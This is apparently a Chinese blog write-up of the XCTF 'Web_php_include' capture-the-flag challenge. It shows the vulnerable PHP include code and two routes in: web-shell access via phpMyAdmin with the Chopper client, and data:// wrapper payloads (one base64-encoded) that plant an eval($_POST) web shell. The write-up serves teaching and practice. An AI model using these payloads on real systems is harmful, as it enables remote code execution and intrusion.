20200825-Xctf-Web_php_include WP

20200825-Xctf-Web_php_include WP

八月 25, 2020

20200825-Xctf-Web_php_include WP

关于:

这个题来自与攻防世界,我自己好早以前就做过了,但是一直没有写一篇文章来记录他

分析

php源代码:

1
2
3
4
5
6
7
8
9
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>

$page=$_GET['page'];
#get一个参数
str_replace("php://", "", $page);
#文本替换,区分大小写(将php://替换为空)
include($page)
#包含文件

这个个题有两个思路,一个是扫描网站目录.使用phpmyadmin登录进行数据库操作,或者使用php伪协议进行操作

1, phpmyadmin操作:
img
直接使用菜刀连接即可
image.png

这里写入到tmp目录,是因为tmp目录默认有任意读写权限的
image.png

2, 伪协议的利用:
?page=data:text/plain;base64,PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTsgPz4=
?page=data://text/plain,<?php%20@eval($_POST[%27shell%27]);%20?>

使用菜刀链接即可

关于伪协议仍在查找资料学习中(官方的介绍只有用法和要求)

image.png

参考资料:

https://www.php.net/manual/zh/wrappers.php